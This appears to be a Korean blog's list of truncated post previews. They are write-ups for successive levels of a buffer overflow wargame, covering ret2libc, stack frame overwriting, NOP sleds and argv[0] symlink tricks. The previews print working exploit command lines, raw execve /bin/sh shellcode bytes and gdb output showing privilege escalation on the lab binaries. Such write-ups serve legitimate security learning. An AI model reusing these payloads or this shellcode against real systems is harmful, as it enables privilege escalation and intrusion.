본문 바로가기

wargame

darkknight to bugbear 소스를 보면 처음에 주석에 친절히 RTL이라 적혀잇고,문제에서 ret의 시작주소가 bf가 되면 안된다. 그러므로 ret2libc공격을 사용해서 쉽게 공략 하겟다. [payload]["x"*44][&system]["aaaa"][&"/bin/sh"] 공격 [darkknight@localhost darkknight]$ ./bugbear `perl -e 'print "x"x44,"\xe0\x8a\x05\x40","aaaa","\xf9\xbf\x0f\x40";'`xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx?@aaaa廈@bash$ iduid=512(darkknight) gid=512(darkknight) euid=513(bugbear) egid=513(bugbear) groups.. 더보기
golem to darkknight 소스코드를 보면stack frame overwriting 문제라는 것을 알 수 있다.일단 1바이트만 sfp변조가 가능하며 스택에 대한 시큐어 코딩이 없기 때문에 RTL과 혼합하여 공격해보도록 하겠다. [payload][&system]["aaaa"][&"/bin/sh"]["x"*28]['buf주소 -4' 의 끝에 1byte] 'buf주소 -4' 의 끝에 1byte 구하기[golem@localhost golem]$ gdb -q darkknight_1(gdb) b *problem_child+6Breakpoint 1 at 0x8048446(gdb) r `perl -e 'print "\xe0\x8a\x05\x40","aaaa","\xf9\xbf\x0f\x40","x"x28,"\x70"'`The program be.. 더보기
skeleton to golem 이번 문제는 stack destroyer 가 추가된 버전이다. 1.일단 argv의 개수의 제한은 없다.2.그리고 ret의 시작주소가 bf로 제한 되어 있어, 스택영역에서 공격이 이루어져야 한다.3.마지막에서 버퍼를 sfp까지 초기화 한다.4.마지막에서 ret이후에 모든 스택영역을 초기화 시킨다. 이 조건으로 볼때, 다음과 같이 공격이 이루어 져야 한다. 1.변조할수 있는 곳은 ret뿐이다.2.main 함수의 stack frame보다 낮은 주소에 쉘코드가 존재해야 한다. 이때 공격기법을 생각해보자면1.환경변수 공격은 안된다. egg hunter 가 없지만, ret이후에 모든 스택영역을 초기화 하면서 불러왔던 모든 환경변수도 초기화 된다.2.ret2libc도 안된다. 정확히 ret 즉 4byte만 변조가 가.. 더보기
vampire to skeleton 2013년 10월 1일 화요일오후 3:53문제 소스를보면,1.argv는 사용제한이 없다.2.환경변수 공격이 막혀있다.3.ret이 bf로 시작해야한다.4.argv[1]이 48byte이하여야 한다.5.buffer가 초기화된다, 버퍼에 쉘코드를 올릴수 없다.6.strcpy후에 argv가 모두 초기화 된다. 그럼 공격형태를 생각해보면1.환경변수 공격 안됨2.ret2libc안됨3.argv[2]에 쉘코드 올려도 안됨4.buffer에 쉘코드 올려도 안됨 여러 공격이 먹히지 않아서 답답해서 gdb로 스택을 찍어보던 도중에 스택메모리 끝에 파일의 위치가 찍혀있는것을 발견햇다.(gdb) b *main+368Breakpoint 2 at 0x8048670(gdb) r `perl -e 'print "x"x47,"\xbf"'`T.. 더보기
troll to vampire 이번 문제는 ret이 "0xbf"로 시작해야하고 그 뒤에가 "0xff"가 되어서는 안되는 문제이다. bf로 시작해야하는 조건때문에ret2libc 사용불가환경변수 사용불가 이므로 스택의 특성상 스택은 메모리가 높은곳에서 낮은곳으로 쌓인다. 스택의 메모리 영역은 3기가 바이트 부터 그보다 낮은 메모리 영역이다.4기가~3기가 영역은 커널이 사용하는 영역으로써 접근할 수 없다. (gdb) x/10s 0xbffffff00xbffffff0: "l/vampire_1"0xbffffffc: ""0xbffffffd: ""0xbffffffe: ""0xbfffffff: ""0xc0000000: 0xc0000000: 0xc0000000: 0xc0000000: 0xc0000000: 이처럼 접근할수 없으며 만약 스택이 큰 공간을 .. 더보기
orge to troll 이번 문제에는 전 문제에다가 인자의 개수가 2개인지 검사하는 항목이 추가 되었다.즉,argv[2]를 이용한 공격은 할 수 없다. 그럼 우리가 사용할수 있는것은 1.sfp변조2.ret변조3.최대 48바이트의 argv[1] ->하지만 이것도 40바이트는 초기화 되버린다.4.argv[0] ->파일명. 그럼 argv[0]을 사용해서 공격해보자. 파일명에다가 심볼릭 링크를 쉘코드로 걸어서 ret에다가 argv[0]의 주소를 주면 공격에 성공할꺼 같다. 문제가 하나 있는데 쉘코드에 '2f'가 들어가 있으면 심볼릭 링크가 걸리지 않는다. 그래서 2f가 없는 코드를 사용해야 하는데 다음의 쉘코드를 이용하면 된다.\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01.. 더보기
darkelf to orge 코드를 보면 if(strlen(argv[0]) != 77){ printf("argv[0] error\n"); exit(0); } 이것이 포함되어있는데 argv[0]은 파일의 위치를 나타내는 것이다. 그것의 길이가 77이 되야한다.그래서 폴더를 만들어 길이를 77로 마추는 작업을 해준다.strlen("/home/darkelf/[폴더이름]/orge") = 77strlen("[폴더이름]")=77-strlen("/home/darkelf//orge")이므로, 폴더이름은 58글자가 되야한다. 그리고 입력할때 상대주소로 입력하면 안되고 절대주소로 입력하여 프로그램을 실행시켜야 한다.bash2를 사용해야한다. (gdb) x/2s 0xbffffd210xbffffd21: "/home/darkelf/", 'a' , "/or.. 더보기
wolfman to darkelf 이전 문제에 buf의 길이검증을 하는 코드가 추가되었다.그러나 48보다 커야 에러가 뜨며 48이면 ret까지 변조가 충분히 가능하기 때문에전에 썻던 payload를 그대로 사용하면 되겠다. 공격![wolfman@localhost wolfman]$ bash2[wolfman@localhost wolfman]$ ./darkelf `perl -e 'print "\x90"x44,"\xff\xfd\xff\xbf"'` `perl -e 'print "\x90"x10000,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱?풺ash$ iduid=.. 더보기
orc to wolfman 이번 판은 orc에 bufferhunter가 추가된 버전이다. 그럼 ret2libc 환경변수는 쓸수없고bufferhunter를 보면 40까지만 memset시킨다.그럼 이는 buffer에 쉘코드를 올리는 것을 막아주지만, argv[2]에 올려버리면 우회할수 있다. payload는 orc때 사용한 그대로를 하면 되겠다. 공격![orc@localhost orc]$ bash2[orc@localhost orc]$ ./wolfman `perl -e 'print "\x90"x44,"\xff\xfd\xff\xbf"'` `perl -e 'print "\x90"x10000,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd.. 더보기
goblin to orc 1.ret2libc 소스를 보면, 환경변수 공격을 무력화 시키는 egg hunter 가 포함되어 있고, 프로그램의 인자의 47번째 글자는 '\xbf'가 되어야 한다. 버퍼의 크기는 int i포함해서 44이다. 47번째에 '\xbf'를 넣어보앗다. [goblin@localhost goblin]$ ./orc `perl -e 'print "\x41"x47,"\xbf"'`AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA풱egmentation fault예상대로 if문을 지나가고 strcpy로 인한 bof취약점으로 인한 segmentation fault가 일어난다. argv[1]의 44~47번까지는 ret인데 이말은 ret의 주소가 bf로 시작되어야 한다는 말이다. 그래서 sys.. 더보기